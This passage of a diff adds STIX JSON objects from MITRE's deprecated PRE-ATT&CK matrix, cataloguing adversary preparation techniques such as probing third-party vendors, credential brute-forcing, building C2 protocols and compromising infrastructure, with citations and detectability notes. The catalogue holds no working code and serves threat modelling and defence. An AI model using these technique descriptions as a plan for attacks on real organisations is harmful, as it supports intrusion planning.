"attack-pattern--1def484d-2343-470d-8925-88f45b5f9615", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Assess vulnerability of 3rd party vendors", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1298).\n\nOnce a 3rd party vendor has been identified as being of interest it can be probed for vulnerabilities just like the main target would be. (Citation: Zetter2015Threats) (Citation: WSJTargetBreach)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1298", + "external_id": "T1298" + }, + { + "source_name": "Zetter2015Threats", + "description": "Kim Zetter. (2015, January 4). The Biggest Security Threats We\u2019ll Face in 2015. Retrieved March 5, 2017." + }, + { + "source_name": "WSJTargetBreach", + "description": "Paul Ziobro. (2014, February 6). Target Breach Began With Contractor's Electronic Billing Link. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "3rd parties would most likely not report network scans to their partners. Target network would not know that their 3rd party partners were being used as a vector.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "The difficult part is enumerating all 3rd parties. Finding major partners would not be difficult. Significantly easier with insider knowledge. Vulnerability scanning the 3rd party networks is trivial.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1075", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "organizational-weakness-identification" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--4fad17d3-8f42-449d-ac4b-dbb4c486127d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Assign KITs, KIQs, and/or intelligence requirements", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1238).\n\nOnce generated, Key Intelligence Topics (KITs), Key Intelligence Questions (KIQs), and/or intelligence requirements are assigned to applicable agencies and/or personnel. For example, an adversary may decide nuclear energy requirements should be assigned to a specific organization based on their mission. (Citation: AnalystsAndPolicymaking) (Citation: JP2-01)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1238", + "external_id": "T1238" + }, + { + "source_name": "AnalystsAndPolicymaking", + "description": "Jack Davis. (2002, September). Improving CIA Analytic Performance: Analysts and the Policymaking Process. Retrieved March 5, 2017." + }, + { + "source_name": "JP2-01", + "description": "Joint Chiefs of Staff. (2012, January 05). Joint and National Intelligence Support to Military Operations. Retrieved March 2, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1015", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-direction" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--a86a21a4-6304-4df3-aa6d-08114c47d48f", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Assign KITs/KIQs into categories", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1228).\n\nLeadership organizes Key Intelligence Topics (KITs) and Key Intelligence Questions (KIQs) into three types of categories and creates more if necessary. An example of a description of key players KIT would be when an adversary assesses the cyber defensive capabilities of a nation-state threat actor. (Citation: Herring1999)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1228", + "external_id": "T1228" + }, + { + "source_name": "Herring1999", + "description": "Jan P. Herring. (1999). Key Intelligence Topics: A Process to Identify and Define Intelligence Needs. Retrieved March 2, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Normally, defender is unable to detect. Few agencies and commercial organizations may have unique insights.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Normal aspect of adversary planning lifecycle. May not be done by all adversaries.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1005", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "priority-definition-planning" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--4dfb98ea-03cc-4a9c-a3a7-b22e14f126c4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Authentication attempt", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nAttempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials to authenticate remotely. This access could be to a web portal, through a VPN, or in a phone app. (Citation: Remote Access Healthcare) (Citation: RDP Point of Sale)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1381", + "url": "https://attack.mitre.org/techniques/T1381" + }, + { + "description": "Gary Glover. (2015, June 25). Remote access threats are imminent. Retrieved March 31, 2017.", + "source_name": "Remote Access Healthcare" + }, + { + "description": "Brian Prince. (2014, July 31). Hackers Turn Remote Desktop Tools Into Gateways for Point-of-Sale Malware Attacks. Retrieved March 31, 2017.", + "source_name": "RDP Point of Sale" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "launch" + } + ], + "modified": "2020-03-30T14:13:56.705Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1158", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Attempt to use default vendor credentials, brute force credentials, or previously obtained legitimate credentials. This is increasingly difficult to obtain access when two-factor authentication mechanisms are employed.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "This is possible with diligent monitoring of login anomalies, expected user behavior/location. If the adversary uses legitimate credentials, it may go undetected.", + "x_mitre_detectable_by_common_defenses": "Partial", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--0440f60f-9056-4791-a740-8eae96eb61fa", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Authorized user performs requested cyber action", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nClicking on links in email, opening attachments, or visiting websites that result in drive by downloads can all result in compromise due to users performing actions of a cyber nature. (Citation: AnonHBGary)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1386", + "url": "https://attack.mitre.org/techniques/T1386" + }, + { + "source_name": "AnonHBGary", + "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.", + "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "compromise" + } + ], + "modified": "2020-10-14T01:53:27.989Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1163", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Users unwittingly click on spearphishing links frequently, despite training designed to educate about the perils of spearphishing.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Some environments have anti-spearphishing mechanisms to detect or block the link before it reaches the user.", + "x_mitre_deprecated": true, + "x_mitre_detectable_by_common_defenses": "Yes" + }, + { + "id": "attack-pattern--0e6abb17-0f81-4988-9fd2-4ba0b673d729", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Automated system performs requested action", + "description": "**This technique has been deprecated. Please see ATT&CK's Initial Access and Execution tactics for replacement techniques.**\n\nUsers may be performing legitimate activity but using media that is compromised (e.g., using a USB drive that comes with malware installed during manufacture or supply). Upon insertion in the system the media auto-runs and the malware executes without further action by the user. (Citation: WSUSpect2015)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "external_id": "T1384", + "url": "https://attack.mitre.org/techniques/T1384" + }, + { + "description": "Paul Stone & Alex Chapman. (2015, August 5). WSUSpect: Compromising the Windows Enterprise via Windows Update. Retrieved March 1, 2017.", + "source_name": "WSUSpect2015" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "compromise" + } + ], + "modified": "2020-03-30T14:15:05.089Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_is_subtechnique": false, + "x_mitre_old_attack_id": "PRE-T1161", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Autoruns with USB keys and CDs traditionally were always on (e.g., [http://windows.microsoft.com Windows] 7 is now an exception with a new policy of limiting the always on nature of Autoruns), ensuring and automated system completes a requested action. Specialized use cases exist where automated systems are specifically designed against automatically performing certain actions (e.g., USB/CD insertion and automatically running is disabled in certain environments).", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Environments without extensive endpoint sensing capabilities do not typically collect this level of detailed information.", + "x_mitre_deprecated": true, + "x_mitre_detectable_by_common_defenses": "No" + }, + { + "id": "attack-pattern--15ef4da5-3b93-4bb1-a39a-5396661956d3", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Build and configure delivery systems", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1347).\n\nDelivery systems are the infrastructure used by the adversary to host malware or other tools used during exploitation. Building and configuring delivery systems may include multiple activities such as registering domain names, renting hosting space, or configuring previously exploited environments. (Citation: APT1)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1347", + "external_id": "T1347" + }, + { + "source_name": "APT1", + "description": "Mandiant. (n.d.). APT1: Exposing One of China\u2019s Cyber Espionage Units. Retrieved March 5, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "It is detectable once deployed to the public Internet, used for adversarial purposes, discovered, and reported to defenders.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "It is easy to create and burn infrastructure. Otherwise, blacklisting would be more successful for defenders.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1124", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--4886e3c2-468b-4e26-b7e5-2031d995d13a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Build or acquire exploits", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1349).\n\nAn exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1349", + "external_id": "T1349" + }, + { + "source_name": "NYTStuxnet", + "description": "William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.", + "url": "https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html" + }, + { + "source_name": "NationsBuying", + "description": "Nicole Perlroth and David E. Sanger. (2013, July 12). Nations Buying as Hackers Sell Flaws in Computer Code. Retrieved March 9, 2017.", + "url": "https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1126", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Several exploit repositories and tool suites exist for re-use and tailoring.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.", + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--9108e212-1c94-4f8d-be76-1aad9b4c86a4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Build social network persona", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1341).\n\nFor attacks incorporating social engineering the utilization of an on-line persona is important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites ([Facebook](https://www.facebook.com), [LinkedIn](https://www.linkedin.com), [Twitter](https://twitter.com), [Google+](https://plus.google.com), etc.). (Citation: NEWSCASTER2014) (Citation: BlackHatRobinSage) (Citation: RobinSageInterview)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1341", + "external_id": "T1341" + }, + { + "source_name": "NEWSCASTER2014", + "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.", + "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation" + }, + { + "source_name": "BlackHatRobinSage", + "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", + "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf" + }, + { + "source_name": "RobinSageInterview", + "description": "Joan Goodchild. (2010, July 8). The Robin Sage experiment: Fake profile fools security pros. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "persona-development" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1118", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Performing activities like typical users, but with specific intent in mind.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Unless there is some threat intelligence reporting, these users are hard to differentiate.", + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_deprecated": true + }, + { + "created": "2017-12-14T16:46:06.044Z", + "modified": "2020-10-26T13:42:49.342Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "type": "attack-pattern", + "x_mitre_old_attack_id": "PRE-T1105", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Proliferation of DNS TLDs and registrars. Adversary may choose domains that are similar to legitimate domains (aka \"domain typosquatting\" or homoglyphs).", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "This is by design captured in public registration logs. Various tools and services exist to track/query/monitor domain name registration information.", + "x_mitre_detectable_by_common_defenses": "Yes", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1328", + "external_id": "T1328" + }, + { + "source_name": "PWCSofacy2014", + "description": "Tom Lancaster and Michael Yip. (2014, December 05). APT28: Sofacy? So-funny.. Retrieved March 6, 2017." + } + ], + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1328).\n\nDomain Names are the human readable names used to represent one or more IP addresses. They can be purchased or, in some cases, acquired for free. (Citation: PWCSofacy2014)", + "name": "Buy domain name", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "id": "attack-pattern--45242287-2964-4a3e-9373-159fad4d8195", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--8e211ec9-5dfc-4915-aff4-84d5908f0336", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "C2 protocol development", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1352).\n\nCommand and Control (C2 or C&C) is a method by which the adversary communicates with malware. An adversary may use a variety of protocols and methods to execute C2 such as a centralized server, peer to peer, IRC, compromised web sites, or even social media. (Citation: HAMMERTOSS2015)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1352", + "external_id": "T1352" + }, + { + "source_name": "HAMMERTOSS2015", + "description": "FireEye. (2015, July). HAMMERTOSS: Stealthy Tactics Define a Russian Cyber Threat Group. Retrieved March 6, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Adversary will likely use code repositories, but development will be performed on their local systems.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "C2 over commonly used and permitted protocols provides the necessary cover and access.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1129", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "build-capabilities" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--7a265bf0-6acc-4f43-8b22-2e58b443e62e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Choose pre-compromised mobile app developer account credentials or signing keys", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1391).\n\nThe adversary can use account credentials or signing keys of an existing mobile app developer to publish malicious updates of existing mobile apps to an application store, or to abuse the developer's identity and reputation to publish new malicious apps. Many mobile devices are configured to automatically install new versions of already-installed apps. (Citation: Fraudenlent Apps Stolen Dev Credentials)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1391", + "external_id": "T1391" + }, + { + "source_name": "Fraudenlent Apps Stolen Dev Credentials", + "description": "Galen Gruman. (2014, December 5). Keep out hijackers: Secure your app store dev account. Retrieved April 12, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.", + "x_mitre_difficulty_for_adversary": "No", + "x_mitre_difficulty_for_adversary_explanation": "The difficulty of obtaining useful developer credentials may vary. Well-organized, professional app developers whose credentials or signing keys would be the most useful to an adversary because of the large install bases of their apps, would likely strongly protect their credentials and signing keys. Less-organized app developers may not protect their credentials and signing keys as strongly, but the credentials and signing keys would also be less useful to an adversary. These less-organized app developers may reuse passwords across sites, fail to turn on multi-factor authentication features when available, or store signing keys in unprotected locations.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1168", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "persona-development" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--9a8c47f6-ae69-4044-917d-4b1602af64d9", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Choose pre-compromised persona and affiliated accounts", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1343).\n\nFor attacks incorporating social engineering the utilization of an on-line persona is important. Utilizing an existing persona with compromised accounts may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. (Citation: AnonHBGary) (Citation: Hacked Social Media Accounts)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1343", + "external_id": "T1343" + }, + { + "source_name": "AnonHBGary", + "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.", + "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/" + }, + { + "source_name": "Hacked Social Media Accounts", + "description": "Marcus Habert. (2015, November 8). What Happens to Hacked Social Media Accounts. Retrieved March 28, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "persona-development" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_old_attack_id": "PRE-T1120", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "It is relatively easy and low cost to purchase compromised credentials. Mining social media sites offers open source information about a particular target. Most users tend to reuse passwords across sites and are not paranoid enough to check and see if spoofed sites from their persona exist across current social media.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Possible to detect compromised credentials if alerting from a service provider is enabled and acted upon by the individual.", + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--0c592c79-29a7-4a94-81a4-c87eae3aead6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Common, high volume protocols and software", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1321).\n\nCertain types of traffic (e.g., Twitter14, HTTP) are more commonly used than others. Utilizing more common protocols and software may make an adversary's traffic more difficult to distinguish from legitimate traffic. (Citation: symantecNITRO)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1321", + "external_id": "T1321" + }, + { + "source_name": "symantecNITRO", + "description": "Eric Chien and Gavin O\u2019Gorman. (n.d.). The Nitro Attacks: Stealing Secrets from the Chemical Industry. Retrieved March 1, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "High level of entropy in communications. High volume of communications makes it extremely hard for a defender to distinguish between legitimate and adversary communications.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to decipher or to make the communication less conspicuous.", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1098", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "id": "attack-pattern--4900fabf-1142-4c1f-92f5-0b590e049077", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Compromise 3rd party infrastructure to support delivery", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1312).\n\nInstead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)", + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1312", + "external_id": "T1312" + }, + { + "source_name": "WateringHole2014", + "description": "Pierluigi Paganini. (2014, February 15). FireEye discovered a new watering hole attack based on 0-day exploit. Retrieved March 1, 2017." + }, + { + "source_name": "FireEye Operation SnowMan", + "description": "Darien Kindlund, Xiaobo Chen, Mike Scott, Ned Moran, Dan Caselden. (2014, February 13). Operation SnowMan: DeputyDog Actor Compromises US Veterans of Foreign Wars Website. Retrieved March 28, 2017." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_detectable_by_common_defenses": "No", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_difficulty_for_adversary_explanation": "Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).", + "x_mitre_version": "1.0", + "x_mitre_old_attack_id": "PRE-T1089", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "adversary-opsec" + } + ], + "modified": "2020-10-26T13:42:49.342Z", + "created": "2017-12-14T16:46:06.044Z", + "x_mitre_deprecated": true + }, + { + "created": "2017-12-14T16:46:06.044Z", + "modified": "2020-10-26T13:42:49.342Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-pre-attack", + "phase_name": "establish-&-maintain-infrastructure" + } + ], + "type": "attack-pattern", + "x_mitre_old_attack_id": "PRE-T1111", + "x_mitre_version": "1.0", + "x_mitre_difficulty_for_adversary_explanation": "Commonly used technique currently (e.g., [https://www.wordpress.com WordPress] sites) as precursor activity to launching attack against intended target (e.g., acquiring botnet or layers of proxies for reducing attribution possibilities).", + "x_mitre_difficulty_for_adversary": "Yes", + "x_mitre_detectable_by_common_defenses_explanation": "Defender will not have visibility on 3rd party sites unless target is successfully enticed to visit one.", + "x_mitre_detectable_by_common_defenses": "No", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "mitre-pre-attack", + "url": "https://attack.mitre.org/techniques/T1334", + "external_id": "T1334" + }, + { + "source_name": "WateringHole2014", + "description": "Pierluigi Paganini. (2014, February 15). FireEye discovered a new watering hole attack based on 0-day exploit. Retrieved March 1, 2017." + }, + { + "source_name": "FireEye Operation SnowMan", + "description": "Darien Kindlund, Xiaobo Chen, Mike Scott, Ned Moran, Dan Caselden. (2014, February 13). Operation SnowMan: DeputyDog Actor Compromises US Veterans of Foreign Wars Website. Retrieved March 28, 2017." + } + ], + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1334).\n\nInstead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it for some or all of the attack cycle. (Citation: WateringHole2014) (Citation: FireEye Operation SnowMan)", + 